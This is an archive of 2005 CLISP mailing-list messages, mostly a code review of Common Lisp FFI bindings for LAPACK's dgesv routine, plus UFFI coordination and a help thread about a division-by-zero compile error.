X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu May 19 09:10:20 2005 X-Original-Date: Thu, 19 May 2005 18:07:45 +0200 Hi, Bernard Urban wrote: >(I have heard about a UFFI for clisp, how advanced is this ?) Feel free to go to the patches section of Sourceforge for clisp. = Download my code from there. I should update the site since I added some functions to my code since = then. >#+clisp >(ffi:def-call-out s_copy > (:library "libf2c.so.2")) > >#+clisp >(ffi:def-call-out idamax_ > (:library "libblas2.so")) Instead of declaring dummy functions just so to get the library opened, You could try out ffi:foreign-library instead (oops, it appears it's = not exported from FFI, so use ffi::foreign-library (defparameter *fortran-lib* (ffi::foreign-library "libmyf77.so")) Yet maybe declaring functions is better, because I forgot what happens = in case a) the library pointer is gc'ed (if you don't store it some place) b) you save the image and restart from that. >In case of lapack, this is probably voluntary, as there are several >blas libraries available, and you may want to specify a given one. The >same is true for the underlying Fortran library (f2c and g77 at least >are available).=20 Ok, so really you need dlopen() to look at symbols also in libraries = previously loaded. What do you need RTLD_LAZY for? I'll comment another time on your code. For that, I'd appreciate a URL = to the documentation for the functions you unterface to. Regards, J=F6rg H=F6hle. From Joerg-Cyril.Hoehle@t-systems.com Fri May 20 05:00:16 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DZ6Ap-0002if-RU for clisp-list@lists.sourceforge.net; Fri, 20 May 2005 05:00:15 -0700 Received: from tcmail21.telekom.de ([217.6.95.235]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DZ6Am-0007Rc-GN for clisp-list@lists.sourceforge.net; Fri, 20 May 2005 05:00:15 -0700 Received: from s4de8psaans.mitte.t-com.de (s4de8psaans.mitte.t-com.de [10.151.180.168]) by tcmail21.dmz.telekom.de with ESMTP; Fri, 20 May 2005 13:59:17 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 20 May 2005 13:59:17 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03044EBDC3@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: Bernard.Urban@meteo.fr Subject: Re: [clisp-list] FFI improvements needed MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_PLUS BODY: Text interparsed with + 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 20 05:03:20 2005 X-Original-Date: Fri, 20 May 2005 13:59:15 +0200 Hi, here are some comments about the code, both for CMUCL and CLISP. Bernard Urban wrote: >(defpackage :lapack > (:use :common-lisp #+cmu :alien #+cmu :c-call #+clisp :ffi) >#+clisp >(ffi:def-call-out s_copy Why do you insist on using the ffi prefix with clisp, but not with = cmucl? Your packages uses the respective ffi/alien+c-call packages = already. >#+clisp >(ffi:def-call-out dgesv > (:name "dgesv_") > (:return-type nil) > (:language :stdc) > (:library "liblapack.so") > (:arguments (n (ffi:c-ptr int)) > (nrhs (ffi:c-ptr int)) > (a ffi:c-pointer) > (lda (ffi:c-ptr int)) > (ipiv ffi:c-pointer) > (b ffi:c-pointer) > (ldb (ffi:c-ptr int)) > (info (ffi:c-ptr int) :in-out))) From the documentation I saw, info is :out only. >#+cmu >(def-alien-routine ("dgesv_" dgesv) > void > (n (* int)) > (nrhs (* int)) > (a (* double-float)) > (lda (* int)) > (ipiv (* int)) > (b (* double-float)) > (ldb (* int)) > (info (* int))) cmucl also has :out parameter modes. Why don't you use it? cmucl and clisp have comparable :out features and behaviour. I found these paegs with incomplete documentation: http://www.kudpc.kyoto-u.ac.jp/HPC-WG/Manual/lapack/dgesv.html http://www.physics.utah.edu/~detar/phycs6720/handouts/lapack.html They show that info is an :out parameter. >(defvar mat3 (make-array '(3 3) :element-type 'double-float=20 >:initial-contents > '((1.02729d9 1.61398d9 1.42116d9) > (1.05044d9 1.45891d9 2.02499d9) > (2.89555d8 2.60287d7 2.03739d9)))) >(defvar x3 (make-array 3 :element-type 'double-float :initial-contents = > '(1.44563d9 1.41769d9 6.75019d8))) > >(defun solve (matrice y) > "R=E9solution d'un syst=E8me lin=E9aire avec 'dgesv' de Lapack" > (declare (type (array double-float 2) matrice)) > (declare (type (array double-float 1) y)) > (let ((n (array-dimension matrice 0))) > (unless (and > (=3D 1 (array-rank y)) > (=3D 2 (array-rank matrice)) > (=3D n (array-dimension matrice 0) (array-dimension y 0))) you certainly meant (array-dimension matrice 1) > (error "matrice pas carr=E9e ou dimension second membre=20 >incorrecte")) > #+cmu > (let ((ipiv-alien (make-alien int n)) > (x-alien (make-alien double-float n)) > (mat-alien (make-alien double-float (* n n)))) > (unwind-protect > (progn > (dotimes (i n) > (dotimes (j n) > (setf (deref mat-alien (+ i (* n j))) (aref=20 >matrice i j)))) > (dotimes (i n) > (setf (deref x-alien i) (aref y i))) > (with-alien ((dim int) > (nrhs int) > (lda int) > (ldb int) > (info int)) > (setf dim n) > (setf nrhs 1) > (setf lda n) > (setf ldb n) This can be rewritten more readably IMHO as (with-alien ((dim int n) (lda int n) (nrhs int 1) ...) > (dgesv (addr dim) (addr nrhs) mat-alien > (addr lda) ipiv-alien x-alien (addr ldb)=20 >(addr info)) > (let ((resul (make-array `(,n) :element-type=20 >'double-float))) > (dotimes (i n (values resul (=3D info 0))) > (setf (aref resul i) (deref x-alien i)))))) The documentation I saw seems to suggest that info is a success = indicator. Thus, you should only dereference output variables in case = of success: (if (=3D info 0) (dotimes...) (error ...)) or (if (=3D info 0) (dotimes...) nil-or-some-such) > (free-alien ipiv-alien) > (free-alien x-alien) > (free-alien mat-alien))) > #+clisp > (with-foreign-object (mat-alien `(ffi:c-array double-float=20 >,(* n n))) > (with-foreign-object (x-alien `(ffi:c-array double-float ,n)) > (with-foreign-object (ipiv-alien `(ffi:c-array int ,n)) > (dotimes (i n) > (dotimes (j n) > (setf (element (foreign-value mat-alien) (+ i (* n j))) > (aref matrice i j)))) > (dotimes (i n) > (setf (element (foreign-value x-alien) i) (aref y i))) This is strictly superfluous and cumbersome. Let clisp work for your: (with-foreign-object (x-alien `... y) The array will be initialized (converted) from y. The same could be used with the two-dimensional array mat-alien, = although the URL above makes we wonder whether indices are in the same = order. > (with-c-var (n 'int n) > (with-c-var (nrhs 'int 1) > (with-c-var (lda 'int n) > (with-c-var (ldb 'int n) You do not need these. Just pass the number to the function, and clisp = will construct a pointer to a location holding the number, mandated by = the (c-ptr int) :in declaration. > (with-c-var (info 'int 123) > (multiple-value-bind (info) Here you shadow the outer lexical variable info, which is not intended. > (dgesv n nrhs (foreign-address mat-alien) > lda (foreign-address ipiv-alien)=20 This is bogus. You missed (c-var-address n), (c-var-address nrhs)... What happens is that a foreign is stack-allocated, convert from Lisp. = Then passign n converts it back again. It's not an address that gets = passed to the function, its a value. (C-PTR INT) expects an integer = value. But as I said, with-c-var is strictly superfluous for these, just pass = the integer value. > (foreign-address x-alien) ldb info) > (let ((resul (make-array `(,n)=20 > :element-type=20 >'double-float))) > (dotimes (i n (values resul (=3D info 0))) > (setf (aref resul i)=20 > (element (foreign-value=20 >x-alien) i))))))))))))) > )) Same here as for cmucl: (with-c-var (x-alien `... y) ... pass (c-var-address x-alien) (if (=3D info 0) ipiv) or (with-foreign-object (x-alien `... y) ... pass ipiv (the pointer), (foreign-address ipiv) is not needed (if (=3D info 0) (foreign-value x-alien)) You'll notice the similarity of with-c-var and c-var-address with cmucl = where you need the addr operator. Whether you choose with-foreign-object or with-c-var is somewhat a = matter of taste. In many cases, using c-var is IMHO a preferable choice = because it allows more concise source code, but using foreign-object = gives greater control and is not subject to hidden conversion / = back-conversion errors -- as shown above, so YMMV. >Any comments from the clisp developers and users ? Plenty:-) Regards, J=F6rg H=F6hle. From Joerg-Cyril.Hoehle@t-systems.com Fri May 20 05:17:37 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DZ6Rc-0003vT-DC for clisp-list@lists.sourceforge.net; Fri, 20 May 2005 05:17:36 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DZ6Rb-0005Gr-Hl for clisp-list@lists.sourceforge.net; Fri, 20 May 2005 05:17:36 -0700 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Fri, 20 May 2005 14:17:11 +0200 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 20 May 2005 14:16:37 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03044EBDCD@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: Bernard.Urban@meteo.fr Subject: Re: [clisp-list] FFI improvements needed MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 20 05:18:54 2005 X-Original-Date: Fri, 20 May 2005 14:16:33 +0200 Hi again, I sent plenty of comments in the other e-mail, so here's the summary = and proposed solutions (all untested). (defun solve (matrice y) "R=E9solution MATRICE * x =3D Y par lapack" (let ((n (array-dimension matrice 0))) (with-foreign-object (mat-alien `(c-array double-float ,(* n n)) = matrice) (with-c-var (x-alien `(c-array double-float ,n) y) (with-foreign-object (ipiv-alien `(c-array int ,n)) (let ((info (dgesv n 1 ; nrhs mat-alien n ; lda ipiv-alien (c-var-address x-alien) n))) ; ldb (if (=3D info 0) x-alien info))))))) Just an example, I would actually not recommend mixing c-var and foreign-object. Just stick to one, consistently. To be used with (ffi:def-call-out dgesv (:name "dgesv_") (:return-type nil) (:language :stdc) (:library "liblapack.so") (:arguments (n (c-ptr int)) (nrhs (c-ptr int)) (a c-pointer) ; conceptually :in-out (c-ptr double-float ...) (lda (c-ptr int)) (ipiv c-pointer) ; conceptually :out (c-ptr double-float n) (b c-pointer) ; conceptually :in-out (c-ptr double-float ...) (ldb (c-ptr int)) (info (c-ptr int) :out))) One may recognize that this, again, is an instance of passing variable = length arrays to/from functions. Now that the foreign function = constructor is easily available in clisp, we can do this: (defun memofn (n) ; actual memoization not shown (parse-c-type `(c-function (:return-type nil) (:arguments (n (c-ptr int)) (nrhs (c-ptr int)) ; a is strictly :in-out, but we throw away the result here (a (c-ptr (c-array double-float ,n ,n)) :in) (lda (c-ptr int)) (ipiv (c-ptr (c-array double-float ,n)) :out) ; b is strictly :in-out, but we throw away the result here (b (c-ptr (c-array double-float ,n))) (ldb (c-ptr int)) (info (c-ptr int) :out)) (:language :stdc)))) (defun solve (matrice y) ;; This code is bad, because the result is dereferenced even in case = of ;; error. In general, doing so could result in run-time conversion = errors. (multiple-value-bind (ipiv info) (funcall (foreign-function #'dgesv (memofn (length y))) n 1 matrice n y n) (if (=3D info 0) ipiv))) In order to not dereference :out variables upon failures, we have to do = what clisp does internally by hand: stack-allocated variables are = manipulated explicitly then, with-foreign resurfaces: (defun memofn (n) ; actual memoization not shown (parse-c-type `(c-function (:return-type nil) (:arguments (n (c-ptr int)) (nrhs (c-ptr int)) ; a is strictly :in-out, but we throw away the result here (a (c-ptr (c-array double-float ,n ,n)) :in) (lda (c-ptr int)) (ipiv c-pointer) ; conceptually :out (c-ptr double-float n) ; b is strictly :in-out, but we throw away the result here (b (c-ptr (c-array double-float ,n))) (ldb (c-ptr int)) (info (c-ptr int) :out)) (:language :stdc)))) ; this differs from the above for ipiv. (defun solve (matrice y) (let ((n (length y))) (with-foreign-object (ipiv `(c-array double-float ,n)) (let ((info (funcall (foreign-function #'dgesv (memofn (length y))) n 1 matrice n ipiv y n))) (if (=3D info 0) (foreign-value ipiv)))))) I expect this memoized function declaration stuff to beat any custom = nesting of with-foreign-object any time -- if memoized. Please report. One could also memoize the result of foreign-function, but that's less = likely to work across saved images. BTW, UFFI is very far from such conciseness. But then, it's just a = matter of piling up macros. Remembers me that some month ago, I talked about a macro to provide = exactly such variable-length function definition ability, with :guards = (for :output checks) and bells and whistles. Any volunteer? Regards, J=F6rg H=F6hle From Joerg-Cyril.Hoehle@t-systems.com Fri May 20 09:49:27 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DZAgg-0004oL-Sj for clisp-list@lists.sourceforge.net; Fri, 20 May 2005 09:49:26 -0700 Received: from tcmail21.telekom.de ([217.6.95.235]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DZAge-0002oS-Qr for clisp-list@lists.sourceforge.net; Fri, 20 May 2005 09:49:26 -0700 Received: from s4de8psaans.mitte.t-com.de (s4de8psaans.mitte.t-com.de [10.151.180.168]) by tcmail21.dmz.telekom.de with ESMTP; Fri, 20 May 2005 18:49:16 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 20 May 2005 18:49:16 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03044EBE12@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: Bernard.Urban@meteo.fr Subject: Re: [clisp-list] FFI improvements needed -- UFFI wrapper code MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 20 09:50:56 2005 X-Original-Date: Fri, 20 May 2005 18:49:15 +0200 Hi, W.r.t. UFFI/CLISP: please go to the clisp patches section, you'll find = my UFFI wrapper macros. I just updated it to reflect my current file. = Please report problems to me (CC) and clisp-list (or clisp-devel, which = I occasionaly read). Basically, the single one problem is the difference in semantics of = (C-ptr xyz): CLISP says "(FFI:C-PTR c-type) This type is equivalent to what C calls c-type *: = a pointer to a single item of the given c-type." All other implementations and UFFI allow arbitrary array access of a (* = foo), like pointer arithmetic in C. Witness Bernard's lapack code: declare (* double-float) and (deref ptr = array-index) it in cmucl. For some situations, I believe UFFI has means = to work around that (e.g. with-cast-pointer), after all, I got cl-sql = to work with clisp with my code, but ideally, a cast should not be = needed for a thing declared as an array -- (:array foo) as opposed to = (* foo) in UFFI syntax. Regards, J=F6rg H=F6hle. From sds@gnu.org Fri May 20 10:25:14 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DZBFG-00075b-OR for clisp-list@lists.sourceforge.net; Fri, 20 May 2005 10:25:10 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DZBFD-00005M-92 for clisp-list@lists.sourceforge.net; Fri, 20 May 2005 10:25:10 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.158]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j4KHOie6021812; Fri, 20 May 2005 13:24:46 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Cc: "Pascal J.Bourguignon" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A03044EBE12@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Fri, 20 May 2005 18:49:15 +0200") References: <5F9130612D07074EB0A0CE7E69FD7A03044EBE12@S4DE8PSAAGS.blf.telekom.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" , "Pascal J.Bourguignon" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_AMPERSAND BODY: Text interparsed with & 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] UFFI Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 20 10:28:34 2005 X-Original-Date: Fri, 20 May 2005 13:24:14 -0400 Joerg, I just realized that you too are working on CLISP/UFFI. Great! Pascal, Joerg, could you please merge your code and finally get the official UFFI to support CLISP? Thanks! Pascal: Joerg: -- Sam Steingold (http://www.podval.org/~sds) running w2k A poet who reads his verse in public may have other nasty habits. From jimka@agora.rdrop.com Sat May 21 11:33:04 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DZYmW-0004IH-NN for clisp-list@lists.sourceforge.net; Sat, 21 May 2005 11:33:04 -0700 Received: from agora.rdrop.com ([199.26.172.34] ident=0) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1DZYmV-00079G-BN for clisp-list@lists.sourceforge.net; Sat, 21 May 2005 11:33:04 -0700 Received: from agora.rdrop.com (4777@localhost [127.0.0.1]) by agora.rdrop.com (8.13.1/8.12.7) with ESMTP id j4LIWv7k044727 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT) for ; Sat, 21 May 2005 11:33:02 -0700 (PDT) (envelope-from jimka@agora.rdrop.com) Received: (from jimka@localhost) by agora.rdrop.com (8.13.1/8.12.9/Submit) id j4LIWvYU044719; Sat, 21 May 2005 11:32:57 -0700 (PDT) Message-Id: <200505211832.j4LIWvYU044719@agora.rdrop.com> From: Jim Newton To: clisp-list@lists.sourceforge.net X-Spam-Score: -0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.8 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] compiler gives divide by zero error Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat May 21 11:34:40 2005 X-Original-Date: Sat, 21 May 2005 11:32:57 -0700 (PDT) can anyone give me a clue what is causing the divide by zero error when i try to load or compile is file? It seems to compile and run fine on cmucl and also sbcl. You can download a copy of the program from http://www.rdrop.com/users/jimka/lisp/blocker/blocker.tar.gz and you can compile it with (load "main.lisp") If someone can give me a hint as to what's happening it would be great. thanks. ; (DEFPARAMETER *EAST* (MAKE-INSTANCE 'EAST)) ; (DEFPARAMETER *SOUTH* (MAKE-INSTANCE 'SOUTH)) ; (DEFPARAMETER *NORTH* (MAKE-INSTANCE 'NORTH)) ; (DEFPARAMETER *NORTHEAST* (MAKE-INSTANCE 'NORTHEAST)) ; (DEFPARAMETER *NORTHWEST* (MAKE-INSTANCE 'NORTHWEST)) ; (DEFPARAMETER *SOUTHEAST* (MAKE-INSTANCE 'SOUTHEAST)) ; (DEFPARAMETER *SOUTHWEST* (MAKE-INSTANCE 'SOUTHWEST)) ; (DEFPARAMETER *IDENTITY* (MAKE-INSTANCE 'NO-DIRECTION)) Wrote file /home/web/jimka/lisp/blocker/game.fas 0 errors, 1 warning ;; Loading file /home/web/jimka/lisp/blocker/game.fas ... *** - division by zero -- +------------------------------------------------------------------+ | jimka@agora.rdrop.com __ http://agora.rdrop.com/~jimka | +----------------------------\/------------------------------------+ | Prejudice always masquerades as rationality until it is exposed. | +------------------------------------------------------------------+ | None of us is truly free until all of us are free, with all our | | rights intact and guaranteed, including the basic right to live | | without threat or harassment. [PLAGAL] | +------------------------------------------------------------------+ From pjb@informatimago.com Sat May 21 15:19:13 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DZcJM-00070B-OW for clisp-list@lists.sourceforge.net; Sat, 21 May 2005 15:19:12 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DZcJJ-0006Ow-Hd for clisp-list@lists.sourceforge.net; Sat, 21 May 2005 15:19:12 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 1969E585C8; Sun, 22 May 2005 00:18:59 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 9287558344; Sun, 22 May 2005 00:18:58 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 8104710FBF3; Sun, 22 May 2005 00:18:58 +0200 (CEST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17039.46034.498327.277007@thalassa.informatimago.com> To: Jim Newton Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] compiler gives divide by zero error In-Reply-To: <200505211832.j4LIWvYU044719@agora.rdrop.com> References: <200505211832.j4LIWvYU044719@agora.rdrop.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-102.9 required=5.0 tests=AWL,BAYES_00, UPPERCASE_25_50,USER_IN_WHITELIST autolearn=no version=3.0.1 X-Spam-Level: X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat May 21 15:20:50 2005 X-Original-Date: Sun, 22 May 2005 00:18:58 +0200 Jim Newton writes: > can anyone give me a clue what is causing the divide by > zero error when i try to load or compile is file? > It seems to compile and run fine on cmucl and also > sbcl. > > You can download a copy of the program from > http://www.rdrop.com/users/jimka/lisp/blocker/blocker.tar.gz > and you can compile it with (load "main.lisp") > > If someone can give me a hint as to what's happening > it would be great. thanks. > > > > ; (DEFPARAMETER *EAST* (MAKE-INSTANCE 'EAST)) > ; (DEFPARAMETER *SOUTH* (MAKE-INSTANCE 'SOUTH)) > ; (DEFPARAMETER *NORTH* (MAKE-INSTANCE 'NORTH)) > ; (DEFPARAMETER *NORTHEAST* (MAKE-INSTANCE 'NORTHEAST)) > ; (DEFPARAMETER *NORTHWEST* (MAKE-INSTANCE 'NORTHWEST)) > ; (DEFPARAMETER *SOUTHEAST* (MAKE-INSTANCE 'SOUTHEAST)) > ; (DEFPARAMETER *SOUTHWEST* (MAKE-INSTANCE 'SOUTHWEST)) > ; (DEFPARAMETER *IDENTITY* (MAKE-INSTANCE 'NO-DIRECTION)) > > Wrote file /home/web/jimka/lisp/blocker/game.fas > 0 errors, 1 warning > ;; Loading file /home/web/jimka/lisp/blocker/game.fas ... > *** - division by zero Using the debugger may help locate the origin of the bug. http://www.podval.org/~sds/clisp/impnotes/debugger.html Start by typing: ? RET to get a list of debugger commands, then type: :bt RET to see the backtrace and locate the exact expression that produced this error. Then with :u and :d you can move up and down the lexical frames, and you will be able to type normal lisp expressions to examine variable values. -- __Pascal Bourguignon__ http://www.informatimago.com/ Our enemies are innovative and resourceful, and so are we. They never stop thinking about new ways to harm our country and our people, and neither do we. -- Georges W. Bush From jimka@rdrop.com Sat May 21 16:07:56 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DZd4W-0000y8-OI for clisp-list@lists.sourceforge.net; Sat, 21 May 2005 16:07:56 -0700 Received: from agora.rdrop.com ([199.26.172.34] ident=0) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1DZd4V-0006wE-Am for clisp-list@lists.sourceforge.net; Sat, 21 May 2005 16:07:56 -0700 Received: from [192.168.5.55] (port-212-202-80-72.dynamic.qsc.de [212.202.80.72]) (authenticated bits=0) by agora.rdrop.com (8.13.1/8.12.7) with 